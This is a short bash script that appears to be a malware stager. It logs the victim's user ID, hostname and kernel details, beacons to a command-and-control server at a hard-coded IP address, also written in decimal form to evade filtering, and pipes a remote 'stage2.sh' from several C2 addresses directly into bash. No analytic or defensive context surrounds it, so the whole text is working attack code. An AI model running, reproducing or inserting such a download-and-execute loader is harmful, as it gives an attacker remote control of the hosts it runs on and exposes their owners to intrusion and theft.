#!/bin/bash
set +e
ID=w136r72
DEC=387180340
C2=http://23.19.231.52/c2
LOG=/tmp/s2_${ID}.log
echo "STAGE2 ${ID} $(date)" > "$LOG"
id >> "$LOG" 2>&1
hostname >> "$LOG" 2>&1
uname -a >> "$LOG" 2>&1
# hello via dotted and decimal
curl -fsSL "$C2/agent/hello?id=${ID}" >> "$LOG" 2>&1 || curl -fsSL "http://${DEC}/c2/agent/hello?id=${ID}" >> "$LOG" 2>&1
# stage2
curl -fsSL http://23.19.231.52/c2/stage2.sh | bash >> "$LOG" 2>&1 || true
curl -fsSL http://23.19.231.52:28080/stage2.sh | bash >> "$LOG" 2>&1 || true
curl -fsSL "http://${DEC}/c2/stage2.sh" | bash >> "$LOG" 2>&1 || true
